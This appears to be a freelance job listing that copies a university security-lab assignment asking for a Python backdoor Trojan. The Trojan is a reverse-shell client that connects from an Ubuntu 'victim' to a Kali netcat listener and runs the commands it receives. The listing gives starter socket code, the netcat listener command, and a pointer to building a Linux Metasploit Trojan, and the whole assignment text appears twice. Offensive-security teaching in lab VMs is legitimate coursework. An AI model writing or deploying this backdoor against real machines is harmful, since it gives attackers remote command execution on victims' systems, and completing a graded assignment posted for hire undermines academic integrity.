Python Coding (linux/ubuntu)
Budget: $50 – $70 AUD
Make Your Own Backdoor Trojan :-
As a hacker, you want to create a backdoor Trojan, which will be delivered to the victim who is a Ubuntu user. If this backdoor is executed (on Ubuntu VM), the victim’s Ubuntu machine will connect to your Kali VM. Once you’ve got a connection, you can type any non-interactive Unix commands with options, which will be sent to the victim’s machine and executed there. In other words, you get a “reverse shell”.
(
)
Your task is to write a Python program to implement this backdoor. (On Ubuntu, you will need to compile your Python program by entering “python3 <filename>.py”.) There are a few assumptions on your program:
Note that "ls" and "pwd" are examples of non‐interactive commands
while "cd (change directories)" or text editors such as "vi" and "gedit"
are interactive ones. You are allowed to make your backdoor interactive
commands usable, which could be considered favourably during marking.
On your Kali machine, you (as a hacker) will run netcat to wait for incoming traffic. That is, you run nc ‐v ‐l ‐p 5555 on the terminal. (This means you don’t have to write a server program.)
The backdoor Trojan is, then, a client Python program that will connect to your Kali machine waiting for the connection.
This material is copyrighted. It must not be distributed without permission from Joonsang Baek
c) As this is (going to be) malware, you do not need to consider the sanitization of the Linux commands.
d) You should start with the following Python code, which is a client program based on Python socket package (https://docs.python.org/3/howto/sockets.html ). – The code given below just connects to the server, receives and displays a line of string which is inputted by the server's user.
You should modify this code so that Linux commands you type will be sent to the victim’s Ubuntu machine, executed there, and the result will be sent back to your Kali machine).
The connection should be continued until you enter the symbol ‘&’. Once this symbol is entered, the connection should be terminated.
import socket
kali_ip = "10.0.2.15" #This IP can be different on your virtual box
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((kali_ip, 5555))
s.send("Connected!\n".encode()) #encode() is needed to convert your
string input to bytes to be transferred over the network
received_data = s.recv(1024).decode() #decode() is needed to convert
your byte result to string to be displayed
print(received_data)
s.close()
Hint: Save the above code. On your kali machine, run the netcat (nc) command described above. On the Ubuntu machine, run the above code and see what happens.
Submit your Python source code named “backdoor.py” and readme.txt file that explains how to run your program.
2. Reverse shell for Linux:-
In the series of our labs, we learnt how to create a reverse shell for a Windows machine. (We used msfvenom to generate a backdoor and exploit it using Metasploit, creating a reverse shell.) It is harder to create a reverse shell for Linux, but it is not impossible. Your task is to refer to the following web article and create a reverse shell for Ubuntu (Linux) VM.
https://www.offensive-security.com/metasploit-unleashed/binary-linux- trojan/
Once you are successful, take screenshots of the following events: 2
As a hacker, you want to create a backdoor Trojan, which will be delivered to the victim who is a Ubuntu user. If this backdoor is executed (on Ubuntu VM), the victim’s Ubuntu machine will connect to your Kali VM. Once you’ve got a connection, you can type any non-interactive Unix commands with options, which will be sent to the victim’s machine and executed there. In other words, you get a “reverse shell”.
(
)
Your task is to write a Python program to implement this backdoor. (On Ubuntu, you will need to compile your Python program by entering “python3 <filename>.py”.) There are a few assumptions on your program:
Note that "ls" and "pwd" are examples of non‐interactive commands
while "cd (change directories)" or text editors such as "vi" and "gedit"
are interactive ones. You are allowed to make your backdoor interactive
commands usable, which could be considered favourably during marking.
On your Kali machine, you (as a hacker) will run netcat to wait for incoming traffic. That is, you run nc ‐v ‐l ‐p 5555 on the terminal. (This means you don’t have to write a server program.)
The backdoor Trojan is, then, a client Python program that will connect to your Kali machine waiting for the connection.
This material is copyrighted. It must not be distributed without permission from Joonsang Baek
c) As this is (going to be) malware, you do not need to consider the sanitization of the Linux commands.
d) You should start with the following Python code, which is a client program based on Python socket package (https://docs.python.org/3/howto/sockets.html ). – The code given below just connects to the server, receives and displays a line of string which is inputted by the server's user.
You should modify this code so that Linux commands you type will be sent to the victim’s Ubuntu machine, executed there, and the result will be sent back to your Kali machine).
The connection should be continued until you enter the symbol ‘&’. Once this symbol is entered, the connection should be terminated.
import socket
kali_ip = "10.0.2.15" #This IP can be different on your virtual box
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((kali_ip, 5555))
s.send("Connected!\n".encode()) #encode() is needed to convert your
string input to bytes to be transferred over the network
received_data = s.recv(1024).decode() #decode() is needed to convert
your byte result to string to be displayed
print(received_data)
s.close()
Hint: Save the above code. On your kali machine, run the netcat (nc) command described above. On the Ubuntu machine, run the above code and see what happens.
Submit your Python source code named “backdoor.py” and readme.txt file that explains how to run your program.
2. Reverse shell for Linux:-
In the series of our labs, we learnt how to create a reverse shell for a Windows machine. (We used msfvenom to generate a backdoor and exploit it using Metasploit, creating a reverse shell.) It is harder to create a reverse shell for Linux, but it is not impossible. Your task is to refer to the following web article and create a reverse shell for Ubuntu (Linux) VM.
https://www.offensive-security.com/metasploit-unleashed/binary-linux- trojan/
Once you are successful, take screenshots of the following events: 2